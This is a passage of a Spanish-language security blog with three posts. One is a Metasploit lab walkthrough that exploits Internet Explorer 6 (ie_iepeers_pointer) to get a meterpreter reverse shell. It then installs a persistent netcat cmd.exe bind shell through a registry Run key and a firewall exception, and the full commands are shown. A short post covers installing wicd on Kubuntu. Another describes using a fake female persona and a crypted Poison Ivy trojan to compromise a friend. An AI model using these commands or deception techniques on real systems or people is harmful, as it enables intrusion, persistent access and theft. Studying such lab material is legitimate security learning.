lunes, 22 de marzo de 2010

Laboratorio - Metasploit - Backdor Persistente + Exploit ie_iepeers_pointer

El 10 de marzo me llego un mail de Uno al Dia, informando el nuevo 0-day de Internet Explorer, que ataca a las versiones 6 y 7, las versiones 5 y 8 no son afectadas.
Como contramedida seria los que usan IE migrar totalmente hacia la version 8. Estadisticamente de 100 personas aprox. 20 estarian usando las versiones 6 y 7 de de IE, les dejo una imagen



El exploit es un BOF que ataca a la libreria ie_iepeers pudiendo ejecutar codigo arbitrario con privilegios del usuario que esta ejecutando el navegador.
Para poder usarlo desde el metasploit antes realizen un update al freamwork.

#msfupdate

Comenzando

Este post va en dos partes primero el ataque con el exploit ie_iepeers, y luego subir un netcat y dejarlo como backdor persistente en la victima.

Herramientas
Como laboratorio tengo un Debian 5.0 como sistema anfitrion, Windows XP SP 3 - Internet Explorer 6.0 corriendo como sistema huesped, VirtualBOX 3.1.4 r57640, Metasploit Framework Version: 3.3.4-de

Primer Parte
Bueno la carga de los datos es exactamente igual que la forma donde mostre en el post anterior de Metasploit LINK, mostrare todo junto desde la eleccion del exploit, seteo de variables hasta lanzar el exploit.




Magno:/home/magno# msfconsole

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|





=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 320 exploits - 99 auxiliary
+ -- --=[ 217 payloads - 20 encoders - 6 nops
=[ svn r8878 updated today (2010.03.22)

msf > use exploit/windows/browser/ie_iepeers_pointer
msf exploit(ie_iepeers_pointer) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ie_iepeers_pointer) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(ie_iepeers_pointer) > set URIPATH /
URIPATH => /
msf exploit(ie_iepeers_pointer) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 192.168.56.1 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH / no The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.56.1 yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0


msf exploit(ie_iepeers_pointer) > exploit
[*] Exploit running as background job.
msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
Vemos que el atacante tiene como ip 192.168.56.1, ahora quedaria que la victime ingrese a la direccion http://192.168.56.1:8080, el cual es la pagina maliciosa hecha por el metasploit, donde si cumple los requisitos de dicho exploit se ejecutara el payload en la maquina victima.

Entonces ingresamos





En la consola del metasploit podemos ver como se ejecuto y tenemos una sesion de meterpreter.



msf exploit(ie_iepeers_pointer) >
[*] Started reverse handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] Sending Internet Explorer iepeers.dll Use After Free to 192.168.56.101:1034...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1035)
[*] Session ID 1 (192.168.56.1:4444 -> 192.168.56.101:1035) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1364)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 188
[*] New server process: notepad.exe (188)

msf exploit(ie_iepeers_pointer) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter VICTIMA-55919B2\victima 2 @ VICTIMA-55919B2 192.168.56.1:4444 -> 192.168.56.101:1035

msf exploit(ie_iepeers_pointer) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VICTIMA-55919B2
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: es_ES
meterpreter >




Segunda Parte

Una vez obtenido una sesion lo que vamos hacer es interactuar con la victima con el meterpreter. El proceso de este backdor es muy simple consisten en subir el netcat dejando en escucha un puerto con una cmd.exe , y colocando una exepcion en el firewall ya que la conexion sera de tipo bind.

Subimos el netcat
Para ello tenemos que tener el netcat para windows, yo lo tengo en la carpeta de mi /home/ y lo subiremos en la carpeta de system32, la sentecia quedaria asi.





meterpreter > upload /home/magno/nc.exe c:\\windows\\system32
[*] uploading : /home/magno/nc.exe -> c:\windows\system32
[*] uploaded : /home/magno/nc.exe -> c:\windows\system32\nc.exe


Luego agregaremos una clave en el registro de windows para que arranque netcat escuchando el puerto 1234 con el cmd.exe, de forma daemon -d.



meterpreter > reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
-v realtek -d 'C:\Windows\System32\nc.exe -L -d -e cmd.exe -p 1234'

Successful set Hacked.


Ahora nos quedaria agregar una exepcion en el firewall de windows, de la victima, para ello pedismos una shell en el metrpreter y ejecutamos los comandos como se muestran.



meterpreter > execute -f cmd.exe -i -H
Process 560 created.
Channel 3 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victima 2\Escritorio>netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
netsh firewall add portopening ALL 1234 "c:\windows\system32\nc.exe"
Aceptar


C:\Documents and Settings\victima 2\Escritorio>netsh firewall show portopening
netsh firewall show portopening

Configuraci�n de puerto para el perfil Est�ndar:
Puerto Protocolo Modo Nombre
-------------------------------------------------------------------
1234 TCP Habilitar c:\windows\system32\nc.exe
1234 UDP Habilitar c:\windows\system32\nc.exe


C:\Documents and Settings\victima 2\Escritorio>^C
Terminate channel 3? [y/N] y
meterpreter > reboot
Rebooting...


El comando netsh nos permite setear configuraciones del firewall de windows, lo que hacemos es agregar una exepcion para el programa netcat, en el puerto 1234, para UDP y TCP, y como muestra despues podemos ver que estan colocadas las expeciones con el comando netsh firewall show portopening
Apretamos Crtl + c, no da el meterpreter y reiniciamos la computadora de la victima.
Ahora Fijense como la victima esta escuchando el puerto 1234




Solamente nos queda verificar e ingresar con el netcat a la victima de esta forma.







Eso es todo, Saludos


martes, 16 de marzo de 2010

Kubuntu + wicd + PRO/Wireless 3945ABG Intel



Bueno hoy estuve instalando Kubuntu 9.10 en mi notebook, sin ningún problema hasta el momento de poder conectarme a la Wifi, resulta que por default me trajo el Network-Manager como administrador de conexion de redes, y al verificar la existencia de una red no la veia. Mi placa de red wifi es una INTEL modelo PRO/Wireless 3945ABG, ahora el problema radicaba que la placa por cable no me anda, no toma ip entonces mi única solución siempre es la wifi.
Un amigo me dijo que el usaba el wicd, asi que me decidi descargar, el tema radicaba en que no tenia internet entonces tuve problemas con las dependencias, tenia que irme a W$ y descargar las dependencias muchas veces ida y vuelta.
El que tenga un problema similar quizás esto le puede ayudar, voy a colocar la lista de los paquetes que tube que descargar para que el wicd me funcione correctamente, y este corriendo en el kubuntu :).

Pasos:

  • Descargarse el wicd formato .deb para ubuntu desde aqui.

  • Antes de instalar hay que desinstalar el Network-Manager
#aptitude remove network-Mmanager

  • Las siguientes dependecias me arrojaba a mi.
wicd depende de python-gtk2; sin embargo: El paquete `python-gtk2' no está instalado. wicd depende de python-glade2; sin embargo: El paquete `python-glade2' no está instalado. wicd depende de python-urwid; sin embargo: El paquete `python-urwid' no está instalado.

  • Empezando a buscar uno por uno me resultaron algunos problemas, ya que un paquete depende siempre de otro y así, y tenia que reiniciar la pc para ir a W$ a buscar los nuevos paquetes, así que le dejo los pasos que realize hasta que el wicd termino corriendo sin problemas en Kubuntu.
#dpkg -i python-cairo_1.8.6-1ubuntu1_i386.deb
#dpkg -i python-gtk2_2.14.1-1ubuntu1_i386.deb
#dpkg -i libglade2-0_2.6.4-1_i386.deb
#dpkg -i python-glade2_2.14.1-1ubuntu1_i386.deb
#dpkg -i python-urwid_0.9.8.4-1_i386.deb

  • Y por ultimo instala el Wicd de la misma forma con el dpkg
#dpkg -i wicd_1.6.2.2-1_all.deb


Esa secuencia de paquetes fue la que me resulto, acá pueden encontrar la mayoría de los paquetes otros quizás tiene que googlear un rato. LINK






Saludos

domingo, 7 de marzo de 2010

Peligro Ingenieria Social





Bueno despues de un tiempo sin postear vuelvo con un temita que esta interesante, y es muy amplio, el cual es la Ingeniería Social. Este ataque es tan poderoso como un 0 day, pero veamos un poco para lo que no saben de que se trata y para los que saben mostrarle un caso real.
La cuestión principal de este post no es solo informar si no alarmar y que después de esto no estén tan seguros de tener un AV actualizado con todas las firmas al día, prevenirse ya que en Internet uno no sabe quien es el que esta del otro lado de la PC :).

Según mi visión
¿Que es la Ingeniería Social?
La Ingeniería Social es una técnica la cual consiste en poder engañar a una persona haciéndose pasar por: una persona de confianza de la víctima, una persona al cual le gustaría conocer, una persona atractiva, una persona importante para la víctima, haciéndose pasar por la víctima etc etc etc ... con el objetivo de poder entrar en su espacio de confianza y sacar información confidencial como sus contraseñas, documentos, archivos etc.


Comenzando

Creo que unas de las formas mas fáciles de engañar a un hombre es haciéndose pasar por una mina que este buena, muy buena :p. Los pasos son fáciles se consigue fotos de una chica en particular, un facebook y un correo. Esto es la técnica del engaño así que a imaginarse.!!

Ahora podemos preparar algo como un buen troyano (en este ejemplo el Poison Ivy) pasado por un crypter para que quede indetectable, las imagenes siguientes muestran el antes y el después del Crypter..

Antes




Despues


Ahora vean como un troyano tan conocido no es detectable por ninguno de los AV, ahora uds se imaginaran los seguros que deben estar con AV, pues es una herramienta mas que tiene que acoplarse a todo el proceso de seguridad, pero no es la salvación segura.
Fijense el grado de peligrosidad, no es solo una cuestión de ver las letras verdes, si no a lo expuesto que estamos al no tener conocimientos de estas cosas, y esto es solo la punta del iceberg.!!!

Ahora como nuestra víctima no pudo con su genio de ganador, empezó a caer en el histeriqueo propio de una chica adolecente!! ( Vale aclarar que la victima ah sido un amigo, y el nunca sabia de todo el trabajo que habia atras, obviamente despues le comente que eh sido yo.!! Casi pierdo su Amista!! ja naaa..! ). Veamos la conversacion




Creo que la imagen lo dice todo, un buen acceso a su maquina mediante el troyano, mas el peligro que esto acarrea robos de sus cuentas, de sus archivos, robo de lo mas importante la INTIMIDAD, hablando de INTIMIDAD de lo que es nuestro no de mi novia, mujer etc.
No espero como dije al principio que este articulo sea una forma solo de informar si no tambien de alertar y aportar algo de conocimientos con uds, por que a cualquiera nos puede pasar esto, entre otras cosas..!


Por ultimo dejo los 4 items que segun Kevin Mitnick la Ingenieria Social tiene exito

1. Todos queremos ayudar.
2. El primer movimiento es siempre de confianza hacia el otro.

3. No nos gusta decir No.
4. A todos nos gusta que nos alaben.



Saludos